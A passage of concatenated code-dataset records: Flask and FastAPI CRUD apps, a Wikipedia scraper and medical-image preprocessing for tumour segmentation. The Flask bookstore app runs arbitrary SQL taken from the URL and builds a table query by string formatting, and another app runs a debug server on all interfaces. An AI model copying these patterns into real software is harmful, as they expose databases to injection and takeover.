member_post():\n name_receive = request.form['name_give']\n blog_receive = request.form['blog_give']\n mbti_receive = request.form['mbti_give']\n img_receive = request.form['img_give']\n desc_receive = request.form['desc_give']\n merit_receive = request.form['merit_give']\n\n doc = {\n 'name':name_receive,\n 'blog':blog_receive,\n 'mbti':mbti_receive,\n 'img':img_receive,\n 'desc':desc_receive,\n 'merit':merit_receive\n }\n db.members.insert_one(doc)\n\n return jsonify({'msg':'저장완료!'})\n#팀원 전체 조회\n@app.route(\"/api/member\", methods=[\"GET\"])\ndef member_get():\n all_members = list(db.members.find({}))\n for member in all_members:\n member['_id'] = str(member['_id'])\n return jsonify({'result':all_members})\n\n\n#상세보기\n@app.route(\"/api/member/\", methods=[\"GET\"])\ndef one_find_member(id):\n find_member = db.members.find_one({\"_id\": ObjectId(id)})\n find_member['_id'] = str(find_member['_id'])\n find_id = db.members.find_one({'_id' : ObjectId(id)},{'id':True})\n return render_template('view.html', member=find_member, member_id=find_id)\n\n#수정페이지\n@app.route(\"/api/member/update/\", methods=[\"GET\"])\ndef update_get(id):\n find_member = db.members.find_one({\"_id\": ObjectId(id)})\n find_member['_id'] = str(find_member['_id'])\n find_id = db.members.find_one({'_id' : ObjectId(id)},{'id':True})\n return render_template('update.html', member=find_member, member_id=find_id)\n\n#수정\n@app.route(\"/api/member/\", methods=[\"PUT\"])\ndef update_post(id):\n name_receive = request.form['name_give']\n blog_receive = request.form['blog_give']\n mbti_receive = request.form['mbti_give']\n img_receive = request.form['img_give']\n desc_receive = request.form['desc_give']\n merit_receive = request.form['merit_give']\n\n doc = {\n 'name':name_receive,\n 'blog':blog_receive,\n 'mbti':mbti_receive,\n 'img':img_receive,\n 'merit':merit_receive,\n 'desc':desc_receive\n }\n db.members.update_one({\"_id\": ObjectId(id)},{\"$set\":doc});\n\n return jsonify({'msg':\"업데이트 성공\"})\n\n#삭제\n@app.route('/api/member/', methods=['DELETE'])\ndef delete_post(id):\n db.members.find_one_and_delete({\"_id\": ObjectId(id)})\n return jsonify({'msg':'삭제 완료'})\n\n\n@app.route('/api/reply/', methods=['POST'])# 댓글입력\ndef input_comment():\n comment_receive = request.form['comment']\n id_receive = request.form['id']\n comment_id=id_receive+str(random.random())\n db.members.update_one({'_id':ObjectId(id_receive)}, {\"$push\":{\"comments\":[comment_receive,comment_id]}})\n return jsonify({'msg':'저장완료!'})\n\n@app.route('/api/reply/', methods=['GET']) # 댓글 출력\ndef show_comment(id):\n find_member = db.members.find_one({\"_id\": ObjectId(id)})\n find_member['_id'] = str(find_member['_id'])\n return jsonify({'result':find_member})\n\n@app.route('/api/reply/del/', methods=['POST']) # 댓글삭제\ndef del_comment(id):\n comment_id = request.form['comment_id']\n db.members.update_one({'_id':ObjectId(id)},{\"$pull\":{\"comments\": { \"$elemMatch\": { \"$in\": [comment_id] }}}})\n return jsonify({'msg':comment_id})\n\n@app.route('/api/reply/update/', methods=['POST']) # 댓글수정\ndef update_comment(id):\n fix_comment = request.form['fix_comment']\n comment_id = request.form['comment_id']\n len_comment = request.form['len_comment']\n for i in range(int(len_comment)):\n a=list(db.members.find({f\"comments.{i}.1\": comment_id}))\n if len(a) !=0:\n db.members.update_one({f\"comments.{i}.1\":comment_id},{\"$set\":{f\"comments.{i}.0\": fix_comment}})\n return jsonify({'msg':'comment_id'})\n\nif __name__ == '__main__':\n app.run('0.0.0.0', port=5001, debug=True)\n", "repo_name": "HyungcheolSim/iljoe", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 4435, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.Flask", "line_number": 4, "usage_type": "call"}, {"api_name": "certifi.where", "line_number": 8, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 13, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 24, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 24, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 25, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 27, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 28, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 28, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 29, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 48, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 54, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 56, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 57, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 62, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 70, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 70, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 71, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 71, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 72, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 72, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 73, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 73, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 74, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 74, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 75, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 75, "usage_type": "name"}, {"api_name": "bson.objectid.ObjectId", "line_number": 85, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 87, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 92, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 93, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 98, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 98, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 99, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 99, "usage_type": "name"}, {"api_name": "random.random", "line_number": 100, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 101, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 102, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 106, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 108, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 112, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 112, "usage_type": "name"}, {"api_name": "bson.objectid.ObjectId", "line_number": 113, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 114, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 118, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 118, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 119, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 119, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 120, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 120, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 125, "usage_type": "call"}]} {"seq_id": "3007478264", "text": "# -*- coding: utf-8 -*-\n\nfrom bs4 import BeautifulSoup\nimport re\nimport csv\nimport urllib.request\n\n#### Listes de mots utilisées dans le script ###\n\narticles_indefinis = [\"un\", \"une\"]\narticles_definis = [\"le\", \"la\", \"l'\"]\nconjonction_subordination = [\"à\", \"dans\", \"en\", \"durant\", \"sur\", \"lors\"]\n\n### Fonctions utilisées ###\n\ndef is_number(s):\n try:\n float(s)\n return True\n except ValueError:\n return False\n \ndef extract_year(text):\n liste_citation = content_text.find_all('a', href=re.compile(\"#cite_ref\"))\n # correspond au stockage des références (ces items ne nous intéressent pas)\n \n liste1 = content_text.find_all('li')\n liste2 = []\n liste3 = []\n for i in liste1:\n if i.a not in liste_citation:\n if i.a['href'][0] != '#': #correspond au sommaire (ces items ne nous intéressent pas)\n liste2.append(i)\n for i in liste2:\n if is_number(i.a['href'][6:]): #Années (ces items nous intéressent, nous les récupérons ainsi que les items associés)\n liste3.append(i)\n return liste3\n \ndef year_event(liste):\n annee = liste.a['href'][6:]\n liste_event_int = list(liste.ul.children) #Items correspondants aux différentes morts de l'année, et à leur description\n liste_event = [i for i in liste_event_int if i != '\\n']\n noms_mort = []\n for j in liste_event:\n if extract_name(j) != None:\n noms_mort.append(extract_name(j)) \n if len(noms_mort) > 0:\n return annee, noms_mort\n \ndef extract_name(element):\n \"\"\" Le but de cette fonction est d'extraire le nom de la personne du paragraphe décrivant sa mort. Pour cela, la fonction \n va repérer le premier nom cité dans le paragraphe (suite de mots commençant par une majuscule). Si le paragraphe commence\n par un article indéfini, il concerne un anonyme (et ne nous intéresse pas). Si le paragraphe commence par un article défini,\n cet article est retiré en amont (il commence bien par une majuscule, mais n'est pas le nom de la personne)\"\"\"\n contenu = element.text\n premier_mot = re.findall('^\\w+', contenu)\n while premier_mot[0].lower() in conjonction_subordination: \n #Si le paragraphe commence par une proposition subordonnée, on l'enlève pour ne s'intéresser qu'à la proposition principale\n if contenu.find(',') > 0:\n contenu = contenu[(contenu.find(',')+2):]\n premier_mot = re.findall('^\\w+', contenu)\n else: \n # Il y a une proposition subordonnée dans la phrase mais pas de virgule : la phrase n'est pas correcte et aucune\n # valeur n'est renvoyée\n return\n \n if premier_mot[0].lower() in articles_indefinis: \n # Si la proposition principale commence par un article indéfini, le mort n'est pas identifié, et ne nous intéresse donc pas \n return\n if premier_mot[0].lower() in articles_definis: \n #Si la proposition principale commence par un article défini, on retire cet article \n contenu = contenu[2:] \n \n mot = re.findall('([A-Z]\\w+)', contenu) # Recherche du premier mot contenant une majuscule\n if len(mot) == 0:\n return # Si il n'y a pas de non avec une majuscule, la fonction ne renvoie rien\n else:\n nom = mot[0]\n while len(mot) > 0: \n if len(mot) == 1:\n # Si il n'y a qu'un nom en majuscule dans la proposition principale (hors articles), c'est le nom qui nous\n # intéresse \n return nom\n else:\n index_mot0 = contenu.find(mot[0])\n contenu = contenu[index_mot0 + len(mot[0]):]\n index_mot1 = contenu.find(mot[1])\n if index_mot1 > 4:\n # Si les différents noms propres sont espacés de plus de 4 caractères, il s'agit de choses différentes :\n # le prenier nom nous intéresse\n return nom\n else:\n # Si les nons propres sont espacés de moins de 4 caractères, il s'agit d'un nom composé : la totalité du \n # nom du mort est récupérée\n nom +=contenu[:index_mot1 + len(mot[1])]\n mot = mot[1:]\n\ndef save_tableau(liste_sauvegarde, fichier_final):\n \"\"\" Le but de cette fonction est de sauvegarder les informations extraites de la page internet sous la fonme d'un tableau \n 'Année du décès' 'Personne décedée'\"\"\"\n fichier_final.writerow([\"Année\", \"Personne décédée\"]) \n for i in liste_sauvegarde:\n if i != None:\n for j in i[1]:\n fichier_final.writerow([i[0], j])\n\n### Main ###\n\nwith urllib.request.urlopen(\"https://fr.wikipedia.org/wiki/Liste_de_morts_insolites\") as page:\n page_a_scrapper = page.read()\n\nsoup = BeautifulSoup(page_a_scrapper,\"lxml\")\n\n#Selection du contenu de la page wikipedia\ncontent_text = soup.find(id=\"mw-content-text\")\n\n#Selection des listes contenant les informations qui nous intéressent : les années, et les morts associés.\nliste_interet = extract_year(content_text)\nliste_mort = []\nfor i in liste_interet:\n liste_mort.append(year_event(i))\n\n#Sauvegarde de la liste sous format csv\n\nwith open(\"Liste_morts_insolites.csv\", 'w') as csvFile:\n fichier_final = csv.writer(csvFile)\n save_tableau(liste_mort, fichier_final)\ncsvFile.close()", "repo_name": "alice-dub/scrapping_project", "sub_path": "Morts_insolites.py", "file_name": "Morts_insolites.py", "file_ext": "py", "file_size_in_byte": 5378, "program_lang": "python", "lang": "fr", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "re.compile", "line_number": 24, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 56, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 61, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 74, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 109, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 109, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 109, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 112, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 126, "usage_type": "call"}]} {"seq_id": "4582497680", "text": "from flask import Flask, render_template, url_for, request, redirect\nfrom sqlconn import SQL\n\n\n\napplication = Flask(__name__)\napp = application\n\n@app.route(\"/\")\ndef index():\n return render_template('index.html')\n\n\n@app.route(\"/query\", methods = [\"POST\", \"GET\"])\ndef query():\n if request.method == \"POST\":\n query_string = request.form[\"query\"] \n return redirect(url_for(\"result\", query = query_string))\n else:\n return render_template('query.html')\n \n\n@app.route(\"/result/\")\ndef result(query):\n if query.startswith(\"Query\"):\n # Preset Query\n file_string = f\"queries/{query}.sql\"\n fd = open(file_string, encoding='utf8')\n SQLQuery = fd.read()\n fd.close()\n sqlServer = SQL()\n result = sqlServer.connect_run(SQLQuery)\n return render_template('result.html', columns = result[0], query_result = result[1], sql_string = SQLQuery)\n\n elif query.startswith(\"View\"):\n table = query[4:]\n SQLQuery = f\"SELECT * FROM {table}\"\n sqlServer = SQL()\n result = sqlServer.connect_run(SQLQuery)\n return render_template('result.html', columns = result[0], query_result = result[1], sql_string = SQLQuery)\n else:\n # Custom Query\n sqlServer = SQL()\n result = sqlServer.connect_run(query)\n return render_template('result.html', columns = result[0], query_result = result[1], sql_string = query)\n\n@app.route(\"/explore\")\ndef explore():\n return render_template('explore.html')\n\n\nif __name__ == \"__main__\":\n app.run(debug = False)", "repo_name": "xeroxis-xs/Bookstore-Flask-App", "sub_path": "application.py", "file_name": "application.py", "file_ext": "py", "file_size_in_byte": 1578, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 6, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 11, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 16, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 16, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 17, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 17, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 20, "usage_type": "call"}, {"api_name": "sqlconn.SQL", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 33, "usage_type": "call"}, {"api_name": "sqlconn.SQL", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 40, "usage_type": "call"}, {"api_name": "sqlconn.SQL", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 45, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 49, "usage_type": "call"}]} {"seq_id": "5848637774", "text": "from typing import Dict, Optional, List\nfrom .. import base\nfrom aiodal import dal\nfrom aiodal.helpers import sa_total_count\nimport sqlalchemy as sa\nfrom fastapi import Query, HTTPException\nimport pydantic\nfrom .. import paginator\n\n\nclass IngredientQueryParams(base.BaseListViewQueryParamsModel):\n def __init__(\n self,\n name__contains: str = Query(None),\n name: str = Query(None),\n type: base.IngredientTypeEnum = Query(None),\n offset: int = Query(0, ge=0),\n limit: int = Query(1000, ge=0, le=2000),\n ):\n self.name__contains = name__contains\n self.name = name\n self.offset = offset\n self.limit = limit\n self.type = type\n\n\nclass IngredientBaseForm(base.BaseFormModel):\n name: str | None = \"\"\n type: Optional[base.IngredientTypeEnum] = None\n\n\nclass IngredientCreateForm(IngredientBaseForm):\n name: str\n\n\nclass IngredientUpdateForm(IngredientBaseForm):\n ...\n\n\nclass IngredientResource(base.ParentResourceModel):\n id: int\n name: str\n type: Optional[base.IngredientTypeEnum] = None\n\n @pydantic.computed_field # type: ignore[misc]\n @property\n def links(self) -> Optional[Dict[str, base.ResourceUri]]:\n if self._fastapi:\n return {\n \"self\": self._fastapi.url_path_for(\"ingredient_detail_view\", id=self.id)\n }\n return None\n\n @classmethod\n async def detail(\n cls,\n transaction: dal.TransactionManager,\n obj_id: int,\n ) -> \"IngredientResource\":\n t = transaction.get_table(\"ingredient\")\n stmt = (\n sa.select(t.c.id, t.c.name, t.c.type)\n .order_by(t.c.id)\n .where(t.c.id == obj_id)\n )\n\n res = await transaction.execute(stmt)\n result = res.one_or_none()\n if not result:\n raise HTTPException(status_code=404, detail=\"Not Found.\")\n\n return cls.model_validate(result)\n\n @classmethod\n async def create(\n cls, transaction: dal.TransactionManager, form: IngredientCreateForm\n ) -> \"IngredientResource\":\n result = await base.create(\n transaction, tablename=\"ingredient\", form_data=form.model_dump()\n )\n return cls.model_validate(result)\n\n @classmethod\n async def update(\n cls,\n transaction: dal.TransactionManager,\n obj_id: int,\n form: IngredientUpdateForm,\n ) -> \"IngredientResource\":\n result = await base.update(\n transaction,\n tablename=\"ingredient\",\n obj_id=obj_id,\n form_data=form.model_dump(exclude_unset=True),\n )\n return cls.model_validate(result)\n\n\nclass IngredientListView(base.ListViewModel[IngredientResource]):\n results: List[IngredientResource]\n\n @classmethod\n async def get(\n cls,\n transaction: dal.TransactionManager,\n request_url: str,\n params: IngredientQueryParams,\n ) -> \"IngredientListView\":\n t = transaction.get_table(\"ingredient\")\n stmt = (\n sa.select(\n t.c.id,\n t.c.name,\n t.c.type,\n sa_total_count(t.c.id),\n )\n .order_by(t.c.id)\n .offset(params.offset)\n .limit(params.limit)\n )\n\n if params.name:\n stmt = stmt.where(t.c.name == params.name)\n if params.name__contains:\n stmt = stmt.where(t.c.name.contains(params.name__contains))\n if params.type:\n stmt = stmt.where(t.c.type == params.type)\n\n res = await transaction.execute(stmt)\n results = [dict(r) for r in res.mappings()]\n page = paginator.get(results, request_url, params.offset, params.limit)\n return cls.model_validate(\n {\n \"total_count\": page.total_count,\n \"next_url\": page.next_url,\n \"results\": results,\n }\n )\n", "repo_name": "tinnaing347/mealprepdb", "sub_path": "mealprepdb/api/ingredient/ingredient.py", "file_name": "ingredient.py", "file_ext": "py", "file_size_in_byte": 3941, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "fastapi.Query", "line_number": 14, "usage_type": "call"}, {"api_name": "fastapi.Query", "line_number": 15, "usage_type": "call"}, {"api_name": "fastapi.Query", "line_number": 16, "usage_type": "call"}, {"api_name": "fastapi.Query", "line_number": 17, "usage_type": "call"}, {"api_name": "fastapi.Query", "line_number": 18, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 43, "usage_type": "name"}, {"api_name": "pydantic.computed_field", "line_number": 45, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 47, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 47, "usage_type": "name"}, {"api_name": "aiodal.dal.TransactionManager", "line_number": 57, "usage_type": "attribute"}, {"api_name": "aiodal.dal", "line_number": 57, "usage_type": "name"}, {"api_name": "sqlalchemy.select", "line_number": 62, "usage_type": "call"}, {"api_name": "fastapi.HTTPException", "line_number": 70, "usage_type": "call"}, {"api_name": "aiodal.dal.TransactionManager", "line_number": 76, "usage_type": "attribute"}, {"api_name": "aiodal.dal", "line_number": 76, "usage_type": "name"}, {"api_name": "aiodal.dal.TransactionManager", "line_number": 86, "usage_type": "attribute"}, {"api_name": "aiodal.dal", "line_number": 86, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 100, "usage_type": "name"}, {"api_name": "aiodal.dal.TransactionManager", "line_number": 105, "usage_type": "attribute"}, {"api_name": "aiodal.dal", "line_number": 105, "usage_type": "name"}, {"api_name": "sqlalchemy.select", "line_number": 111, "usage_type": "call"}, {"api_name": "aiodal.helpers.sa_total_count", "line_number": 115, "usage_type": "call"}]} {"seq_id": "14984471974", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jun 10 09:20:29 2021\r\n\r\n@author: zd187 - Zach Douglas\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport SimpleITK as sitk\r\nimport os\r\nimport pandas as pd\r\nfrom tqdm import tqdm\r\nfrom skimage.transform import resize\r\nimport random\r\nimport keras.backend as K\r\nimport matplotlib.pyplot as plt\r\nfrom unet2d_model import unet2d\r\nfrom time import time\r\nimport tensorflow as tf\r\n\r\n\r\n\r\n\r\ndef get_np_volume_from_sitk(sitk_img):\r\n trans = (2, 1, 0)\r\n px_spacing = sitk_img.GetSpacing()\r\n img_position = sitk_img.GetOrigin()\r\n np_img = sitk.GetArrayFromImage(sitk_img)\r\n np_img = np.transpose(np_img, trans)\r\n return np_img, px_spacing, img_position\r\n\r\n\r\n\r\n\r\ndef get_cropped_images(slices=False):\r\n # Create list of patient ID's\r\n ids_total = []\r\n ids = []\r\n dir_path = 'D:/Zach/hecktor2021_train/hecktor_nii/'\r\n id_path = os.listdir(dir_path)\r\n \r\n for _id in id_path:\r\n if str(_id) != '.DS_Store':\r\n ids_total.append(_id[:7]) \r\n \r\n for i in range(0, len(ids_total), 3):\r\n ids.append(ids_total[i])\r\n \r\n # Load and crop image slices \r\n bb_path = 'D:/Zach/hecktor2021_train/hecktor2021_bbox_training.csv'\r\n bb_dict = pd.read_csv(bb_path).set_index('PatientID')\r\n \r\n if slices:\r\n X_ct = np.zeros((len(ids)*96, 128, 128))\r\n y = np.zeros((len(ids)*96, 128, 128))\r\n \r\n else:\r\n X_ct = np.zeros((len(ids), 96, 96, 96))\r\n y = np.zeros((len(ids), 96, 96, 96))\r\n \r\n img_count = 0\r\n t_slice = 0\r\n \r\n for _id in tqdm(ids):\r\n ct_path = dir_path + _id + '_ct.nii.gz'\r\n gt_path = dir_path + _id + '_gtvt.nii.gz'\r\n \r\n ct_img, spacing, origin = get_np_volume_from_sitk(sitk.ReadImage(ct_path))\r\n gt_img, spacing, origin = get_np_volume_from_sitk(sitk.ReadImage(gt_path))\r\n \r\n bb = np.round((np.asarray([\r\n bb_dict.loc[_id, 'x1'],\r\n bb_dict.loc[_id, 'y1'],\r\n bb_dict.loc[_id, 'z1'],\r\n bb_dict.loc[_id, 'x2'],\r\n bb_dict.loc[_id, 'y2'],\r\n bb_dict.loc[_id, 'z2']\r\n ]) - np.tile(origin, 2)) / np.tile(spacing, 2)).astype(int) \r\n \r\n ct_img = ct_img[bb[0]:bb[3], bb[1]:bb[4], bb[2]:bb[5]]\r\n gt_img = gt_img[bb[0]:bb[3], bb[1]:bb[4], bb[2]:bb[5]]\r\n \r\n if slices:\r\n ct_img = resize(ct_img, (128, 128, 96), anti_aliasing=True)\r\n gt_img = resize(gt_img, (128, 128, 96), anti_aliasing=True)\r\n \r\n for slice_ in range(0, 96):\r\n ct_data = ct_img[:, :, slice_]\r\n gt_data = gt_img[:, :, slice_]\r\n X_ct[t_slice] = ct_data\r\n y[t_slice] = gt_data\r\n t_slice += 1\r\n \r\n else: \r\n ct_img = resize(ct_img, (96, 96, 96), anti_aliasing=True)\r\n gt_img = resize(gt_img, (96, 96, 96), anti_aliasing=True)\r\n \r\n X_ct[img_count, :, :, :] = ct_img\r\n y[img_count, :, :, :] = gt_img\r\n \r\n img_count += 1\r\n \r\n return X_ct, y\r\n\r\ndef get_cropped_pet(slices=False):\r\n ids_total = []\r\n ids = []\r\n dir_path = 'D:/Zach/hecktor2021_train/hecktor_nii/'\r\n id_path = os.listdir(dir_path)\r\n \r\n for _id in id_path:\r\n if str(_id) != '.DS_Store':\r\n ids_total.append(_id[:7]) \r\n \r\n for i in range(0, len(ids_total), 3):\r\n ids.append(ids_total[i]) \r\n \r\n bb_path = 'D:/Zach/hecktor2021_train/hecktor2021_bbox_training.csv'\r\n bb_dict = pd.read_csv(bb_path).set_index('PatientID')\r\n \r\n if slices:\r\n X_pt = np.zeros((len(ids)*96, 128, 128))\r\n\r\n else:\r\n X_pt = np.zeros((len(ids), 96, 96, 96))\r\n\r\n img_count = 0\r\n t_slice = 0\r\n \r\n for _id in tqdm(ids):\r\n pt_path = dir_path + _id + '_pt.nii.gz'\r\n \r\n pt_img, spacing, origin = get_np_volume_from_sitk(sitk.ReadImage(pt_path))\r\n \r\n bb = np.round((np.asarray([\r\n bb_dict.loc[_id, 'x1'],\r\n bb_dict.loc[_id, 'y1'],\r\n bb_dict.loc[_id, 'z1'],\r\n bb_dict.loc[_id, 'x2'],\r\n bb_dict.loc[_id, 'y2'],\r\n bb_dict.loc[_id, 'z2']\r\n ]) - np.tile(origin, 2)) / np.tile(spacing, 2)).astype(int) \r\n \r\n pt_img = pt_img[bb[0]:bb[3], bb[1]:bb[4], bb[2]:bb[5]]\r\n \r\n if slices:\r\n pt_img = resize(pt_img, (128, 128, 96), anti_aliasing=True)\r\n\r\n for slice_ in range(0, 96):\r\n pt_data = pt_img[:, :, slice_]\r\n X_pt[t_slice] = pt_data\r\n t_slice += 1\r\n \r\n else:\r\n pt_img = resize(pt_img, (96, 96, 96), anti_aliasing=True)\r\n X_pt[img_count, :, :, :] = pt_img\r\n \r\n img_count += 1\r\n \r\n return X_pt\r\n\r\n\r\n\r\n\r\n# Randomize indices and split into train, validation, and test sets\r\ndef randomize_split_images():\r\n patient_ids = np.arange(224)\r\n \r\n rng = np.random.default_rng(18)\r\n rng.shuffle(patient_ids)\r\n \r\n opt_train_ids = patient_ids[:47]\r\n #opt_val_ids = patient_ids[33:47]\r\n opt_test_ids = patient_ids[47:67]\r\n \r\n eval_ids = patient_ids[67:]\r\n \r\n return opt_train_ids, opt_test_ids, eval_ids\r\n\r\n\r\n\r\n\r\n# Randomize indices and split into train, validation, and test sets\r\ndef randomize_withoutCHMR():\r\n patient_ids = []\r\n \r\n for i in range(0, 55):\r\n patient_ids.append(i)\r\n \r\n for i in range(73, 201):\r\n patient_ids.append(i)\r\n \r\n random.seed(18) \r\n random.shuffle(patient_ids)\r\n \r\n train_ids = patient_ids[:128]\r\n val_ids = patient_ids[128:167]\r\n test_ids = patient_ids[167:183]\r\n \r\n return train_ids, val_ids, test_ids\r\n\r\n\r\n\r\n\r\n# Obtain 2D slices from patient id list\r\ndef get_slices(patient_id_list, X, y):\r\n index_list = []\r\n initializer = 0\r\n \r\n for pt in patient_id_list:\r\n start_index = pt * 96\r\n end_index = start_index + 96\r\n index_list.append([start_index, end_index])\r\n\r\n for patient_slices in index_list:\r\n \r\n for i in tqdm(range(patient_slices[0], patient_slices[1])):\r\n if initializer == 0:\r\n y_cancer = y[i:i+1, :, :, :]\r\n X_cancer = X[i:i+1, :, :, :]\r\n initializer += 1\r\n else: \r\n y_cancer = np.concatenate((y_cancer, y[i:i+1, :, :, :]))\r\n X_cancer = np.concatenate((X_cancer, X[i:i+1, :, :, :]))\r\n \r\n return X_cancer, y_cancer\r\n\r\n\r\n\r\n\r\n# Pull patient samples from patient id list\r\ndef get_ids(channel, id_list, X, y):\r\n X_sample=np.zeros((len(id_list), 96, 96, 96, channel))\r\n y_sample=np.zeros((len(id_list), 96, 96, 96, 1))\r\n \r\n id_count = 0\r\n \r\n for id_ in id_list:\r\n X_sample[id_count, :, :, :] = X[id_]\r\n y_sample[id_count, :, :, :] = y[id_]\r\n \r\n id_count += 1\r\n \r\n return X_sample, y_sample\r\n \r\n\r\n\r\n\r\n# Obtain cancer slices from patient id list\r\ndef get_cancer_slices(patient_id_list, X, y):\r\n index_list = []\r\n initializer = 0\r\n \r\n for pt in patient_id_list:\r\n start_index = pt * 96\r\n end_index = start_index + 96\r\n index_list.append([start_index, end_index])\r\n\r\n for patient_slices in index_list:\r\n \r\n for i in tqdm(range(patient_slices[0], patient_slices[1])):\r\n if np.sum((y[i])) > 0:\r\n if initializer == 0:\r\n y_cancer = y[i:i+1, :, :, :]\r\n X_cancer = X[i:i+1, :, :, :]\r\n initializer += 1\r\n else: \r\n y_cancer = np.concatenate((y_cancer, y[i:i+1, :, :, :]))\r\n X_cancer = np.concatenate((X_cancer, X[i:i+1, :, :, :]))\r\n \r\n return X_cancer, y_cancer\r\n\r\n\r\n\r\n\r\n# Obtain number of cancer slices for patient id\r\ndef num_cancer_slices(patient_id, X, y):\r\n image, mask = get_cancer_slices([patient_id], X, y)\r\n return len(mask)\r\n\r\n\r\n\r\n\r\n# Return the first cancer slice index from 0 to 96 for given patient id\r\ndef find_first_cancer_slice(patient_id, y):\r\n cancer_range = []\r\n start = patient_id*96\r\n stop = start+96\r\n \r\n for slices in range(start, stop):\r\n if np.sum((y[slices]))==0:\r\n cancer_range.append(0)\r\n else:\r\n cancer_range.append(1)\r\n break\r\n \r\n return cancer_range.index(1)\r\n\r\n\r\n\r\n\r\n# Return start and end indicies within 0 to 96 for given patient id\r\ndef cancer_indices(pt_index, X, y):\r\n cancer_slices = num_cancer_slices(pt_index, X, y) \r\n first_cancer_slice = find_first_cancer_slice(pt_index, y)\r\n last_cancer_slice = first_cancer_slice+cancer_slices-1\r\n \r\n return first_cancer_slice, last_cancer_slice\r\n\r\n\r\n\r\n\r\n# Display image or mask by patient id and slice 